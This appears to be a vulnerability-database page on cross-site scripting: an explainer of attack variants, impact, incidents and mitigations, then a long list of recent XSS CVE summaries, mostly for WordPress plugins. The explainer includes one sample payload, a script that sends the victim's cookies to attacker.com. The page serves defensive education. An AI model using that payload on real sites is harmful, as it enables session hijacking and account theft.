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Cross-Site Scripting

web MEDIUM

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

How It Works

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.

The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.

A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.

Impact

  • Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
  • Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
  • Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
  • Keylogging: Monitor and exfiltrate everything users type on the compromised page
  • Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
  • Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests

Real-World Examples

A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.

eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.

British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.

Mitigation

  • Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
  • Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
  • HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
  • Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
  • DOM-based XSS prevention: Use safe APIs like textContent instead of innerHTML; avoid passing user data to dangerous sinks like eval()

Recent CVEs (40696)

EPSS 0% CVSS 4.7
MEDIUM POC This Month

Cross Site Scripting vulnerability in Zadarma Zadarma extension v.1.0.11 allows a remote attacker to execute a arbitrary code via a crafted script to the webchat component. Rated medium severity (CVSS 4.7), this vulnerability is remotely exploitable, no authentication required. Public exploit code available and no vendor patch available.

XSS RCE Zadarma
NVD GitHub
EPSS 0% CVSS 7.1
HIGH POC This Week

The WoWPth WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WoWPth WordPress plugin through 2.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Limit Bio WordPress plugin through 1.0 does not have CSRF check when updating its settings, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WP Click Info WordPress plugin through 2.7.4 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

PHP WordPress XSS +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Schedule WordPress plugin through 1.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Schedule +1
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WP e-Customers Beta WordPress plugin through 0.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Wp E Customers Beta
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Limit Bio WordPress plugin through 1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Limit Bio
NVD WPScan
EPSS 1% CVSS 7.2
HIGH PATCH This Week

The AppPresser - Mobile App Framework plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'title' parameter in all versions up to, and including, 4.4.10 due to insufficient. Rated high severity (CVSS 7.2), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Recipe Maker plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Roundup Recipe Name field in all versions up to, and including, 9.8.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The CC-IMG-Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'img' shortcode in all versions up to, and including, 1.1.0 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

PHP WordPress XSS
NVD
EPSS 0% CVSS 4.2
MEDIUM This Month

An issue was discovered in BMC Remedy Mid Tier 7.6.04. Rated medium severity (CVSS 4.2), this vulnerability is remotely exploitable. No vendor patch available.

XSS Remedy Mid Tier Bmc
NVD
EPSS 0% CVSS 5.6
MEDIUM PATCH This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Apache Felix HTTP Webconsole Plugin.X through 1.2.0. Rated medium severity (CVSS 5.6), this vulnerability is remotely exploitable, no authentication required. No vendor patch available.

XSS Apache Felix Http Webconsole Plugin
NVD
EPSS 0% CVSS 5.4
MEDIUM This Month

An issue was discovered in Zimbra Collaboration (ZCS) 9.0 and 10.0 and 10.1. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Collaboration Zimbra
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The ShopLentor - WooCommerce Builder for Elementor & Gutenberg +20 Modules - All in One Solution (formerly WooLentor) plugin for WordPress is vulnerable to a Stored DOM-Based Cross-Site Scripting via. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 6.4
MEDIUM PATCH This Month

The Finale Lite - Sales Countdown Timer & Discount for WooCommerce plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via the countdown timer in all versions up to, and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.

WordPress XSS Finale +2
NVD
EPSS 0% CVSS 4.4
MEDIUM POC This Month

The GDPR Cookie Compliance - Cookie Banner, Cookie Consent, Cookie Notice - CCPA, DSGVO, RGPD plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. Public exploit code available and no vendor patch available.

PHP WordPress XSS +2
NVD WPScan
EPSS 0% CVSS 4.4
MEDIUM This Month

The BlogBuzzTime for WP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Simple Amazon Affiliate plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'msg' parameter in all versions up to, and including, 1.0.9 due to insufficient input. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

PHP WordPress XSS +3
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The binlayerpress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.1 due to insufficient input sanitization and output. Rated medium severity (CVSS 4.4), this vulnerability is remotely exploitable. No vendor patch available.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 5.1
MEDIUM POC This Month

A vulnerability was found in Microweber 2.0.19. Rated medium severity (CVSS 5.1), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

PHP XSS Microweber
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW Monitor

A vulnerability was found in Castlenet CBW383G2N versions up to 20250301. is affected by cross-site scripting (xss) (CVSS 2.4).

XSS
NVD VulDB
EPSS 0% CVSS 2.4
LOW Monitor

A vulnerability was found in Castlenet CBW383G2N versions up to 20250301. is affected by cross-site scripting (xss) (CVSS 2.4).

XSS
NVD VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability was found in aitangbao springboot-manager 3.0 and classified as problematic. Affected by this issue is some unknown functionality of the file /sysDictDetail/add. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability has been found in aitangbao springboot-manager 3.0 and classified as problematic. Affected by this vulnerability is an unknown functionality of the file /sysJob/add. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, was found in aitangbao springboot-manager 3.0. Affected is an unknown function of the file /sysDict/add. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability, which was classified as problematic, has been found in aitangbao springboot-manager 3.0. This issue affects some unknown processing of the file /sysFiles/upload of the component Filename Handler. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in mylo2h2s DP ALTerminator - Missing ALT manager allows Stored XSS. This issue affects DP ALTerminator - Missing ALT manager: from n/a through 1.0.2. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in lavacode Lava Ajax Search allows Stored XSS. This issue affects Lava Ajax Search: from n/a through 1.1.9. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in sakurapixel Lunar allows Stored XSS. This issue affects Lunar: from n/a through 1.3.0. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

CSRF vulnerability in the MaxA/B WordPress plugin (versions ≤2.2.2) chains into stored cross-site scripting, allowing remote attackers to inject malicious scripts into the WordPress admin interface via social engineering. The vulnerability requires user interaction (administrator must be tricked into visiting an attacker-controlled page while authenticated) but requires no authentication by the attacker. EPSS probability is low (0.05%, 14th percentile) indicating minimal observed exploitation attempts. No CISA KEV listing or public POC identified at time of analysis, suggesting limited real-world targeting.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS via CSRF in Insert Code WordPress plugin versions through 2.4 allows unauthenticated remote attackers to inject malicious scripts by tricking authenticated administrators into executing forged requests. The CSRF weakness (CWE-352) enables attackers to bypass normal access controls and store XSS payloads in the plugin's code insertion functionality. With CVSS 7.1 (High) and changed scope (S:C), successful exploitation impacts confidentiality, integrity, and availability across security boundaries. EPSS score of 0.05% (14th percentile) indicates low probability of mass exploitation, and no public exploit code or CISA KEV listing identified at time of analysis.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in DevriX Hashtags WordPress plugin 0.3.2 and earlier allows remote attackers to inject malicious scripts via CSRF-chained attack. Unauthenticated attackers can trick authenticated administrators into executing malicious requests that persist XSS payloads in the application. EPSS score of 0.05% (14th percentile) indicates low automated exploitation likelihood despite network attack vector. No active exploitation confirmed via CISA KEV, though publicly available exploit code exists. Scope change in CVSS vector indicates malicious script executes in victim's browser context, enabling session hijacking or privilege escalation.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rodolphe MOULIN List Mixcloud allows Stored XSS. This issue affects List Mixcloud: from n/a through 1.4. [CVSS 6.5 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Vivek Marakana Tabbed Login Widget allows Stored XSS. This issue affects Tabbed Login Widget: from n/a through 1.1.2. [CVSS 6.5 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in popeating Post Read Time allows Stored XSS. This issue affects Post Read Time: from n/a through 1.2.6. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in WordPress plugin WATI Chat and Notification versions through 1.1.2 can be triggered via CSRF attack, enabling attackers to inject persistent malicious scripts into the WordPress site. The vulnerability requires user interaction from an authenticated administrator but no direct authentication by the attacker, allowing scope change (S:C) that affects resources beyond the vulnerable component. EPSS score of 0.05% (14th percentile) indicates low current exploitation probability. Reported by Patchstack security research team, no CISA KEV listing or public POC identified at time of analysis.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site scripting (stored XSS) via CSRF in No Disposable Email WordPress plugin through version 2.5.1 allows remote attackers to inject malicious scripts into the site's database. An attacker tricks an authenticated administrator into submitting a crafted request, which bypasses CSRF protections and stores XSS payload that executes when other users access affected pages. EPSS score of 0.05% (14th percentile) indicates low probability of widespread exploitation, with no active exploitation (not in CISA KEV) or public POC identified at time of analysis.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

CSRF vulnerability in the Go To Top WordPress plugin through version 0.0.8 enables attackers to store malicious JavaScript via cross-site request forgery. An authenticated administrator or privileged user can be tricked into executing a forged request that injects persistent XSS payloads into the plugin's settings or content areas. The CVSS score of 7.1 reflects changed scope and multi-step exploitation requirements (CSRF leading to stored XSS). EPSS score of 0.05% (14th percentile) indicates very low probability of mass exploitation, consistent with a targeted attack against WordPress administrators requiring social engineering.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Shellbot Easy Image Display allows Stored XSS. This issue affects Easy Image Display: from n/a through 1.2.5. [CVSS 6.5 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in A. Jones Featured Image Thumbnail Grid allows Stored XSS. [CVSS 6.5 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Ajay Sharma wordpress login form to anywhere allows Stored XSS. This issue affects wordpress login form to anywhere: from n/a through 0.2. [CVSS 5.9 MEDIUM]

WordPress XSS
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in pipdig pipDisqus allows Stored XSS. This issue affects pipDisqus: from n/a through 1.6. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Rahul Arora WP Last Modified allows Stored XSS. This issue affects WP Last Modified: from n/a through 0.1. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 1% CVSS 5.9
MEDIUM POC This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Thiago S.F. Skitter Slideshow allows Stored XSS. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting in Featured Posts Grid WordPress plugin (versions up to 1.7) allows remote attackers to inject malicious scripts that execute in administrator browsers. Patchstack reporting indicates this is a CSRF-to-Stored-XSS chain, meaning attackers can trick authenticated administrators into unknowingly storing malicious payloads. EPSS probability is low (0.09%, 26th percentile) with no CISA KEV listing, indicating targeted rather than widespread exploitation risk. The Changed scope (S:C) in CVSS vector indicates the vulnerability can affect resources beyond the vulnerable component's security scope.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS via CSRF in Members page only for logged in users WordPress plugin (versions ≤1.4.2) allows remote attackers to inject malicious scripts that execute when administrators view plugin settings. The attack chain requires tricking an authenticated admin into clicking a malicious link or visiting an attacker-controlled page, which submits a forged request storing XSS payloads in the database. EPSS score of 0.05% (14th percentile) indicates low probability of mass exploitation, and no public exploit code or active exploitation has been identified at time of analysis. This is a CSRF-to-stored-XSS chain requiring social engineering against WordPress administrators.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) in TabGarb Pro WordPress plugin through version 2.6 enables stored cross-site scripting (XSS) attacks. Unauthenticated remote attackers can craft malicious requests that, when executed by authenticated administrators, inject persistent malicious scripts into the plugin's data. EPSS exploitation probability is low at 0.05% (14th percentile), and no public exploit identified at time of analysis, though the attack chain is well-understood for CSRF-to-XSS vulnerabilities in WordPress plugins.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

CSRF in Domain Theme WordPress plugin (versions ≤1.3) allows unauthenticated attackers to inject persistent malicious scripts via tricked administrator actions. The chained vulnerability combines CSRF token absence with inadequate input sanitization, enabling stored XSS payload injection when an admin processes a forged request. EPSS score of 0.05% (14th percentile) indicates low widespread exploitation likelihood, with no active exploitation confirmed (not in CISA KEV) and no public exploit code identified at time of analysis.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in the Custom top bar WordPress plugin versions up to 2.0.2 allows remote attackers to inject malicious scripts that execute in victim browsers when they view affected pages. The vulnerability is exploitable via network access without authentication but requires user interaction (victim visiting a page with injected payload). EPSS score of 0.09% (26th percentile) indicates low probability of mass exploitation at time of analysis. Patchstack reporting suggests this may be chained with CSRF based on reference URL pattern, though not explicitly confirmed in the CVE description.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS via CSRF vulnerability in the List of Posts from each Category WordPress plugin (versions up to 2.0) allows remote attackers to inject persistent malicious scripts into the site by tricking an authenticated administrator into submitting a crafted request. The CSRF weakness (CWE-352) enables the XSS payload delivery without direct admin interaction with malicious content. Publicly disclosed via Patchstack with low EPSS score (0.05%, 14th percentile), indicating minimal observed exploitation attempts despite network-based attack vector requiring only user interaction.

WordPress XSS CSRF
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-site scripting (XSS) in FTP Sync WordPress plugin versions ≤1.1.6 allows remote attackers to inject malicious scripts into the application via cross-site request forgery (CSRF). Exploitation requires user interaction (victim must be tricked into clicking a malicious link while authenticated), but no authentication is needed by the attacker to initiate the CSRF vector. The changed scope (S:C) indicates potential impact beyond the vulnerable component. No public exploit identified at time of analysis. EPSS score of 0.05% (14th percentile) suggests low probability of mass exploitation.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored XSS can be injected into price-calc WordPress plugin (versions up to 0.6.3) via CSRF attack vector, allowing attackers to execute malicious scripts in administrator browsers when authenticated users are tricked into visiting attacker-controlled pages. This chained vulnerability (CSRF enabling XSS) affects sites with authenticated administrative users and can lead to account compromise, privilege escalation, or malicious site modifications. EPSS score of 0.05% (14th percentile) indicates low probability of widespread exploitation, though the attack requires only user interaction (CVSS UI:R) rather than authentication from the attacker perspective.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) in WP Compare Tables plugin versions up to 1.0.5 enables attackers to chain CSRF with Stored XSS, allowing persistent malicious script injection via forged administrative requests. Reported by Patchstack, this vulnerability carries a 7.1 CVSS score with changed scope, indicating potential lateral impact beyond the vulnerable plugin. EPSS score of 0.05% (14th percentile) suggests low current exploitation probability, with no public exploit code or CISA KEV listing at time of analysis. Primary risk is targeted attacks against WordPress administrators through social engineering.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in aumsrini Bee Layer Slider allows Stored XSS. This issue affects Bee Layer Slider: from n/a through 1.1. [CVSS 6.5 MEDIUM]

WordPress XSS Wordpress Plugin +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Will Brubaker Awesome Surveys allows Stored XSS. This issue affects Awesome Surveys: from n/a through 2.0.10. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in shanebp BP Email Assign Templates allows Stored XSS. This issue affects BP Email Assign Templates: from n/a through 1.6. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin +1
NVD
EPSS 0% CVSS 5.9
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in jwpegram Block Spam By Math Reloaded allows Stored XSS. This issue affects Block Spam By Math Reloaded: from n/a through 2.2.4. [CVSS 5.9 MEDIUM]

WordPress XSS Wordpress Plugin +1
NVD
EPSS 0% CVSS 6.5
MEDIUM This Month

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in amocrm amoCRM WebForm allows DOM-Based XSS. This issue affects amoCRM WebForm: from n/a through 1.1. [CVSS 6.5 MEDIUM]

WordPress XSS Wordpress Plugin +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

CSRF vulnerability in WP jQuery Persian Datepicker plugin for WordPress enables stored cross-site scripting attacks through versions up to 0.1.0. Attackers can trick authenticated administrators into submitting malicious payloads that persist in the application, enabling later exploitation against other users. EPSS score of 0.05% (14th percentile) indicates low observed exploitation probability, and no public exploit code exists at time of analysis.

WordPress XSS CSRF +2
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) in the Google News Editors Picks Feed Generator WordPress plugin (versions ≤2.1) enables attackers to chain exploitation into Stored XSS, allowing malicious scripts to persist in the site database and execute in administrator or user browsers. The attack requires tricking an authenticated administrator into visiting a malicious site or clicking a crafted link (UI:R). EPSS score is very low (0.05%, 14th percentile), indicating minimal real-world exploitation observed. No CISA KEV listing and no public POC identified at time of analysis.

WordPress XSS Google +3
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Stored cross-site scripting (XSS) in Rankchecker.io Integration WordPress plugin versions up to 1.0.9 can be triggered via cross-site request forgery (CSRF), enabling attackers to inject malicious scripts into the application that execute in victims' browsers. While the CVSS base score is 7.1 (High), real-world risk is tempered by the required user interaction (UI:R) and low EPSS score (0.05%, 14th percentile), indicating minimal observed exploitation activity. No CISA KEV listing or public exploit code identified at time of analysis.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability classified as problematic was found in aitangbao springboot-manager 3.0. This vulnerability affects unknown code of the file /sys/dept. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW POC Monitor

A vulnerability classified as problematic has been found in aitangbao springboot-manager 3.0. This affects an unknown part of the file /sys/permission. [CVSS 2.4 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 5.4
MEDIUM POC This Month

OpenMRS version 2.4.3 contains a reflected XSS vulnerability in its legacy UI quick report feature that allows attackers to inject malicious JavaScript code through the reportType parameter. Users accessing crafted malicious links to the vulnerable /legacyui/quickReportServlet endpoint are affected. An attacker could execute arbitrary JavaScript in a victim's browser to steal session cookies, capture credentials, or perform actions on behalf of the user within the OpenMRS system.

XSS
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM POC This Month

A stored cross-scripting (XSS) vulnerability in Openmrs v2.4.3 Build 0ff0ed allows attackers to execute arbitrary web scripts or HTML via injecting a crafted payload into the personName.middleName parameter at /openmrs/admin/patients/shortPatientForm.form. [CVSS 4.8 MEDIUM]

XSS Openmrs
NVD GitHub
EPSS 0% CVSS 4.8
MEDIUM This Month

IBM Sterling B2B Integrator Standard Edition 6.0.0.0 versions up to 6.1.2.6 is affected by cross-site scripting (xss) (CVSS 4.8).

XSS
NVD
EPSS 0% CVSS 8.8
HIGH This Week

An improper neutralization of input during web page generation ('Cross-site Scripting') vulnerability [CWE-79] in FortiADC GUI version 7.4.0, 7.2.0 through 7.2.1 and before 7.1.3 allows an authenticated attacker to perform an XSS attack via crafted HTTP or HTTPs requests. [CVSS 8.8 HIGH]

XSS
NVD
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability was found in MRCMS 3.1.2. It has been declared as problematic. [CVSS 3.5 LOW]

XSS
NVD VulDB GitHub
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability was found in MRCMS 3.1.2. It has been classified as problematic. [CVSS 3.5 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 3.5
LOW POC Monitor

A vulnerability was found in MRCMS 3.1.2 and classified as problematic. This issue affects the function list of the file /admin/file/list.do of the component org.marker.mushroom.controller.FileController. [CVSS 3.5 LOW]

XSS
NVD GitHub VulDB
EPSS 0% CVSS 2.4
LOW Monitor

A vulnerability, which was classified as problematic, has been found in Claro A7600-A1 RNR4-A72T-2x16_v2110403_CLA_32_160817. Affected by this issue is some unknown functionality of the file /form2pingv6.cgi of the component Ping6 Diagnóstico. [CVSS 2.4 LOW]

XSS
NVD VulDB
EPSS 0% CVSS 6.1
MEDIUM This Month

The Spreadsheet view is vulnerable to a XSS attack, where a remote unauthorised attacker can read a limited amount of values or DoS the affected spreadsheet. Disclosure of secrets or other system settings is not affected as well as other spreadsheets still work as expected. [CVSS 6.1 MEDIUM]

XSS Denial Of Service
NVD
EPSS 0% CVSS 4.8
MEDIUM POC This Month

The Coronavirus (COVID-19) Notice Message WordPress plugin through 1.1.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). [CVSS 4.8 MEDIUM]

PHP WordPress XSS
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The Countdown Timer WordPress plugin through 1.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin [CVSS 7.1 HIGH]

WordPress XSS
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The S3Bubble Media Streaming (AWS|Elementor|YouTube|Vimeo Functionality) WordPress plugin through 8.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin [CVSS 7.1 HIGH]

WordPress XSS
NVD WPScan
EPSS 0% CVSS 6.1
MEDIUM POC This Month

The SEO Tools WordPress plugin through 4.0.7 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin [CVSS 6.1 MEDIUM]

WordPress XSS
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

The WP Login Control WordPress plugin through 2.0.0 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin. [CVSS 7.1 HIGH]

WordPress XSS
NVD WPScan
EPSS 0% CVSS 3.5
LOW POC Monitor

The Social Snap WordPress plugin fails to properly clean user input in its settings, allowing administrators to inject malicious code that gets stored and executed in the browser. This affects websites using the plugin version 1.3.6 and earlier, particularly in multisite setups where admin accounts shouldn't normally have permission to run unfiltered code. An attacker with admin access could inject JavaScript code that runs for all site visitors, potentially stealing credentials or performing unauthorized actions.

WordPress XSS
NVD WPScan
EPSS 0% CVSS 7.1
HIGH POC This Week

